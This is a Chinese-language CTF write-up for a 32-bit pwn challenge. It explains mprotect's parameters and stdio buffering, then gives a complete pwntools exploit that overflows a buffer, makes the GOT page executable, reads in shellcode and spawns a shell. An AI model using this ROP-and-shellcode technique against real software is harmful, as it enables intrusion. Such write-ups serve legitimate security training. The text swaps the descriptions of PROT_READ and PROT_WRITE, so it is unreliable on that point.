这道题有两种解法,一种是fgets读取flag,另一种是mprotect提升权限,这里我们只介绍第二种解法

checksec,题目只开了栈不可执行,其他保护没有开启

int mprotect(void *addr, size_t len, int prot);

addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。

prot: 内存的权限 # 0x7 == 可读可写可执行

PROT_READ:可写,值为 1

PROT_WRITE:可读, 值为 2

PROT_EXEC:可执行,值为 4

PROT_NONE:不允许访问,值为 0

程序有mprotect函数,所以我们可以用mprotect函数修改got表bss段内存区域的权限为0x7

ctrl+s打开程序的段表,观察到bss段的起始地址不是4kb(0x1000)的整数倍,所以选择修改got表

值得注意的是,这个程序没有关闭输入输出缓冲区,所以我们recv不到b0r4 v3r s3 7u 4h o b1ch4o m3m0... 直接发送数据即可

缓冲区的三种类型

1.全缓冲

实际的I/O操作只有在缓冲区被填满了之后才会进行。flush描述了标准I/O缓冲的写操作。缓冲区可以由标准I/O函数自动flush(例如缓冲区满的时候);或者我们调用fflush函数。

2.行缓冲

在这种情况下,只有在输入/输出中遇到换行符的时候,才会执行实际的I/O操作。这允许我们一次写一个字符,但是只有在写完一行之后才做I/O操作。一般的,涉及到终端的流–例如标准输入(stdin)和标准输出(stdout)–是行缓冲的。

3.无缓冲

标准I/O库不缓存字符。需要注意的是,标准库不缓存并不意味着操作系统或者设备驱动不缓存。

缓冲区刷新

  • 缓冲区满时;
  • 执行flush语句,即使用特定函数刷新缓冲区;
  • 执行endl语句,即行缓冲区遇到回车时(即’\n’);
  • 关闭文件。

gdb计算出偏移,找出合适的gadget

1
2
3
4
5
6
7
payload1=b'a'*45+mprotect地址+gadget+参数addr+参数len+参数prot 
#mprotect函数修改got表权限为可读可写可执行
payload1+=read地址+gadget+参数fd+参数buf+参数size
payload1+=修改的内存地址 #返回地址为将要执行shellcode的地址
payload2=asm(shellcraft.sh())
p.sendline(payload1)
p.sendline(payload2)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(log_level='debug')
p=process('./not_')
mprotect=0x806ED40
got_addr=0x80EB000
ebp_esi_edi=0x0809e3e5
read_addr=0x806E200
shellcode=asm(shellcraft.sh())
payload=b'a'*45+p32(mprotect)+p32(ebp_esi_edi)+p32(got_addr)+p32(0x1000)+p32(0x7)
payload+=p32(read_addr)+p32(ebp_esi_edi)+p32(0)+p32(got_addr)+p32(0xfff)+p32(got_addr)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()